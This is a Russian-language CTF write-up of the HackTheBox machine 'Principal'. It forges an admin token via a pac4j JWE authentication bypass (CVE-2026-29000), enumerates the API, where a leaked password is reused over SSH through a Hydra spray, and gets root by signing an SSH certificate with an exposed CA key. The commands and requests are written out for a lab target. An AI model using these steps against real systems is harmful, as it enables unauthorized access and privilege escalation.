> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/principal-hackthebox-writeup.md).

# Основной разбор HackTheBox

Разбор машины HackTheBox Principal Medium Linux, охватывающий обход аутентификации pac4j JWE, перечисление API, повторное использование SSH-учётных данных и повышение привилегий через SSH CA.

{% embed url="<https://app.hackthebox.com/machines/principal>" %}

{% hint style="warning" %}
**Навыки:**

* Сканирование портов и перечисление веб-приложений
* Обход аутентификации pac4j JWE (CVE-2026-29000)
* Перечисление аутентифицированного API и повторное использование учетных данных
* Повышение привилегий через центр сертификации SSH
  {% endhint %}

## Разведка

### Настройка рабочей среды

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEuUCO5FKItxrS5daTEHQ%2Fimage.png?alt=media&amp;token=2bb06d61-fabb-4277-868d-dca1cfa07d26" alt=""><figcaption></figcaption></figure>

### Сканирование портов

Начните с полного TCP-сканирования, чтобы выявить открытые службы:

{% code overflow="wrap" %}

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.129.244.220 -oG allPorts
```

{% endcode %}

Сканирование выявляет SSH на порту `22` и HTTP на порту `8080`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGu3fGtqfKpuRWl6cEnI5%2Fimage.png?alt=media&amp;token=a722988c-81f3-483d-b376-1d8610d9a52a" alt=""><figcaption></figcaption></figure>

Выполните целевое сканирование служб и версий:

{% code overflow="wrap" %}

```bash
nmap -sCV -p22,8080 10.129.244.220 -oN targeted
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfTqm5X7kJd2aERGsviA2%2Fimage.png?alt=media&amp;token=f8cf8256-10bf-4065-a14c-6c7edf7a540e" alt=""><figcaption></figcaption></figure>

### Анализ веб-приложения

Веб-приложение слушает на порту `8080`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGOHPYslr0lBgMTBfdzVF%2Fimage.png?alt=media&amp;token=b4bcc361-482f-429b-a959-384b180c6a90" alt=""><figcaption></figcaption></figure>

Приложение использует pac4j `1.2.0`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdHYITZOd8xDlGxagDKlC%2Fimage.png?alt=media&amp;token=f0f6121a-0ae9-4f03-9a66-226604297e0c" alt=""><figcaption></figcaption></figure>

### Обход аутентификации

Эта версия pac4j уязвима к обходу аутентификации с использованием PlainJWT, упакованного в JWE. Проблема отслеживается как `CVE-2026-29000`.

{% embed url="<https://github.com/advisories/GHSA-pm7g-w2cf-q238>" %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FglkjFkwehLAfFyGveLO1%2Fimage.png?alt=media&amp;token=89b43288-812e-4abf-8f27-b23c75698ff7" alt=""><figcaption></figcaption></figure>

Перечислите пути приложения с помощью Gobuster:

{% code overflow="wrap" %}

```bash
gobuster dir -w `fzf-wordlists` -u http://10.129.244.220:8080/ -t 100
```

{% endcode %}

Панель управления перенаправляет неаутентифицированных пользователей на страницу входа.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FxVrDRdf27GxuT33N1y4K%2Fimage.png?alt=media&amp;token=0e863fa8-236b-4053-b5dc-e185612e22c8" alt=""><figcaption></figcaption></figure>

При загрузке панели управления отправляется запрос к `/api/auth/jwks`, который раскрывает публичный набор JSON Web Key Set:

{% code overflow="wrap" %}

```json
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "kid": "enc-key-1",
      "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"
    }
  ]
}
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fa44fqpILZQxFx9DPtApc%2Fimage.png?alt=media&amp;token=41deccaa-4e01-4ea5-b192-f0516d8b32cd" alt=""><figcaption></figcaption></figure>

Используйте раскрытый публичный ключ, чтобы сгенерировать действительный токен администратора.

{% embed url="<https://codeant.ai/security-research/pac4j-jwt-authentication-bypass-public-key>" %}

Используйте следующий PoC:

{% embed url="<https://github.com/alihussainzada/CVE-2026-29000-Python-PoC-pac4j-JWT-AuthenticationBypass-Poc>" %}

Запустите PoC с `admin` именем пользователя и `ROLE_ADMIN` ролью:

{% code overflow="wrap" %}

```bash
python3 poc.py \
--jwks http://10.129.244.220:8080/api/auth/jwks \
--user admin \
--role ROLE_ADMIN
```

{% endcode %}

PoC возвращает токен-носитель администратора. Сохраните его в переменной перед отправкой аутентифицированных запросов:

{% code overflow="wrap" %}

```bash
Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5FPHofyBiiuHJqXcfOqn%2Fimage.png?alt=media&amp;token=15fa3379-74d1-4e56-8fbb-ad3f89aa93be" alt=""><figcaption></figcaption></figure>

### Перечисление аутентифицированного API

Обзор `static/js/app.js` чтобы определить доступные API-маршруты:

{% code overflow="wrap" %}

```bash
const API_BASE = '';
const JWKS_ENDPOINT = '/api/auth/jwks';
const AUTH_ENDPOINT = '/api/auth/login';
const DASHBOARD_ENDPOINT = '/api/dashboard';
const USERS_ENDPOINT = '/api/users';
const SETTINGS_ENDPOINT = '/api/settings';
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FesLYfS6Saxt1wRxVSw9u%2Fimage.png?alt=media&amp;token=b415653b-8f39-4600-8f2b-241da9487697" alt=""><figcaption></figcaption></figure>

Используйте токен администратора, чтобы перечислить пользователей. Захваченный ниже запрос обращается к `/api/users`.

{% code overflow="wrap" %}

```http
curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: 10.129.244.220:8080' -H $'Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:157.0) Gecko/20100101 Firefox/157.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.9' -H $'Accept-Encoding: gzip, deflate, br' -H $'Sec-GPC: 1' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \
    $'http://10.129.244.220:8080/api/users'
```

{% endcode %}

В ответе перечислены восемь пользователей. Учётная запись `svc-deploy` особенно важна, поскольку она отвечает за автоматизированное развертывание SSH-сертификатов.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9Rpk9a489Yj5GYcBQNZg%2Fimage.png?alt=media&amp;token=fb759905-15f1-40d5-b943-e583c441f8dc" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
echo '{"users":[{"email":"s.chen@principal-corp.local","username":"admin","note":"","role":"ROLE_ADMIN","active":true,"lastLogin":"2025-12-28T09:15:00Z","id":1,"department":"IT Security","displayName":"Sarah Chen"},{"email":"svc-deploy@principal-corp.local","username":"svc-deploy","note":"Service account for automated deployments via SSH certificate auth.","role":"deployer","active":true,"lastLogin":"2025-12-28T14:32:00Z","id":2,"department":"DevOps","displayName":"Deploy Service"},{"email":"j.thompson@principal-corp.local","username":"jthompson","note":"Team lead - backend services","role":"ROLE_USER","active":true,"lastLogin":"2025-12-27T16:45:00Z","id":3,"department":"Engineering","displayName":"James Thompson"},{"email":"a.morales@principal-corp.local","username":"amorales","note":"Frontend developer","role":"ROLE_USER","active":true,"lastLogin":"2025-12-28T08:20:00Z","id":4,"department":"Engineering","displayName":"Ana Morales"},{"email":"b.wright@principal-corp.local","username":"bwright","note":"Operations manager","role":"ROLE_MANAGER","active":true,"lastLogin":"2025-12-26T11:30:00Z","id":5,"department":"Operations","displayName":"Benjamin Wright"},{"email":"k.kumar@principal-corp.local","username":"kkumar","note":"Security analyst - on leave until Jan 6","role":"ROLE_ADMIN","active":false,"lastLogin":"2025-12-20T10:00:00Z","id":6,"department":"IT Security","displayName":"Kavitha Kumar"},{"email":"m.wilson@principal-corp.local","username":"mwilson","note":"QA engineer","role":"ROLE_USER","active":true,"lastLogin":"2025-12-28T13:10:00Z","id":7,"department":"QA","displayName":"Marcus Wilson"},{"email":"l.zhang@principal-corp.local","username":"lzhang","note":"Engineering director","role":"ROLE_MANAGER","active":true,"lastLogin":"2025-12-28T07:55:00Z","id":8,"department":"Engineering","displayName":"Lisa Zhang"}],"total":8}' | jq | grep username
```

{% endcode %}

> admin\
> svc-deploy\
> jthompson\
> amorales\
> bwright\
> kkumar\
> mwilson\
> lzhang

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fc3kaoLe0GSeldjFTKTPx%2Fimage.png?alt=media&amp;token=73020884-2aac-4fb3-b43d-8280e5cba38d" alt=""><figcaption></figcaption></figure>

Далее запросите настройки приложения через `/api/settings`.

{% code overflow="wrap" %}

```bash
curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: 10.129.244.220:8080' -H $'Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:157.0) Gecko/20100101 Firefox/157.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.9' -H $'Accept-Encoding: gzip, deflate, br' -H $'Sec-GPC: 1' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \
    $'http://10.129.244.220:8080/api/settings'
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6laI1zNBfwdRSq6CabHB%2Fimage.png?alt=media&amp;token=98c1406b-058b-47f3-83ed-d151d6e2df78" alt=""><figcaption></figcaption></figure>

Отформатируйте JSON-ответ с помощью `jq` чтобы просмотреть конфигурацию:

{% code overflow="wrap" %}

```bash
echo '{"system":{"applicationName":"Principal Internal Platform","javaVersion":"21.0.10","serverType":"Jetty 12.x (Embedded)","environment":"production","version":"1.2.0"},"security":{"authFramework":"pac4j-jwt","authFrameworkVersion":"6.0.3","jwtAlgorithm":"RS256","jweAlgorithm":"RSA-OAEP-256","jweEncryption":"A128GCM","encryptionKey":"D3pl0y_$$H_Now42!","tokenExpiry":"3600s","sessionManagement":"stateless"},"integrations":[{"status":"connected","lastSync":"2025-12-28T12:00:00Z","name":"GitLab CI/CD"},{"status":"connected","lastSync":"2025-12-28T14:00:00Z","name":"Vault"},{"status":"connected","lastSync":"2025-12-28T14:30:00Z","name":"Prometheus"}],"infrastructure":{"sshCaPath":"/opt/principal/ssh/","notes":"SSH certificate auth configured for automation - see /opt/principal/ssh/ for CA config.","database":"H2 (embedded)","sshCertAuth":"enabled"}}' | jq
```

{% endcode %}

Параметр `encryptionKey` содержит повторно используемый пароль:

* D3pl0y\_$$H\_Now42!

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fs7YmXyWJiNusPheIGfmZ%2Fimage.png?alt=media&amp;token=a903b910-2159-4740-8c19-64eb49079764" alt=""><figcaption></figcaption></figure>

### Доступ по SSH

Проверьте утёкший пароль на именах пользователей, полученных из API:

{% code overflow="wrap" %}

```bash
hydra -L users.txt -p 'D3pl0y_$$H_Now42!' ssh://10.129.244.220
```

{% endcode %}

Пароль действителен для `svc-deploy` учётной записи.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcxZNsUez6YDRSvVw7zoA%2Fimage.png?alt=media&amp;token=9d43e8de-b1a7-4e1a-bc3e-7406210982e6" alt=""><figcaption></figcaption></figure>

Подключитесь как `svc-deploy` и получите флаг пользователя:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FuqCiWg2u3kvSJZlwkG1y%2Fimage.png?alt=media&amp;token=24bcdd24-7a05-4dc7-8c3c-15403b1d77c3" alt=""><figcaption></figcaption></figure>

### Повышение привилегий

Параметр `svc-deploy` учётная запись принадлежит группе `deployers` группе.

{% code overflow="wrap" %}

```bash
id
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlMvPolPhjpPdTHGmCg0d%2Fimage.png?alt=media&amp;token=7dd1bfc3-ef5b-4de5-9d91-0e2976cae939" alt=""><figcaption></figcaption></figure>

Перечислите файлы, доступные этой группе:

{% code overflow="wrap" %}

```bash
find / -group deployers 2>/dev/null
```

{% endcode %}

Группа может получить доступ к материалам центра сертификации SSH:

> /etc/ssh/sshd\_config.d/60-principal.conf\
> /opt/principal/ssh\
> /opt/principal/ssh/README.txt\
> /opt/principal/ssh/ca

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFJUKbXIx3SBC02L5vq2B%2Fimage.png?alt=media&amp;token=e8f75d22-867b-48c8-a098-207eb83e8ffc" alt=""><figcaption></figcaption></figure>

Проверьте `/etc/ssh/sshd_config.d/60-principal.conf`:

{% code overflow="wrap" %}

```bash
# Конфигурация SSH на машине Principal
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
```

{% endcode %}

`PermitRootLogin prohibit-password` разрешает аутентификацию root с помощью ключа. Доступный закрытый ключ CA может подписать сертификат для `root` principal.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEZSvZxZdUyyRR73JqztO%2Fimage.png?alt=media&amp;token=8c7ab33a-1af5-4076-af95-d89d73d1ebf4" alt=""><figcaption></figcaption></figure>

### Злоупотребите центром сертификации SSH

Сгенерируйте временную пару ключей:

{% code overflow="wrap" %}

```bash
ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N ""
```

{% endcode %}

Подпишите открытый ключ для `root` principal с помощью раскрытого закрытого ключа CA:

`-I` задаёт идентификатор сертификата. `-n` задаёт допустимый principal.

{% code overflow="wrap" %}

```bash
ssh-keygen -s /opt/principal/ssh/ca -I "Exploit" -n root /tmp/id_rsa.pub
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fe07nPGDWc0bpgnbNkysP%2Fimage.png?alt=media&amp;token=340936c9-c85f-442a-a79a-3e1e700ae78b" alt=""><figcaption></figcaption></figure>

Подключитесь локально как `root` с подписанным сертификатом:

{% code overflow="wrap" %}

```bash
ssh -i /tmp/id_rsa -i /tmp/id_rsa-cert.pub root@localhost

whoami
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FwfIFCrES7lE0w61ZGcyT%2Fimage.png?alt=media&amp;token=538c6a7a-cacb-4cf6-b2c3-fb0f6b7843ae" alt=""><figcaption></figcaption></figure>

Получите root-флаг:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fr6NrdbdExN0XLH0I21sW%2Fimage.png?alt=media&amp;token=8955648b-d079-4b3f-9176-746b3f06c141" alt=""><figcaption></figcaption></figure>


---

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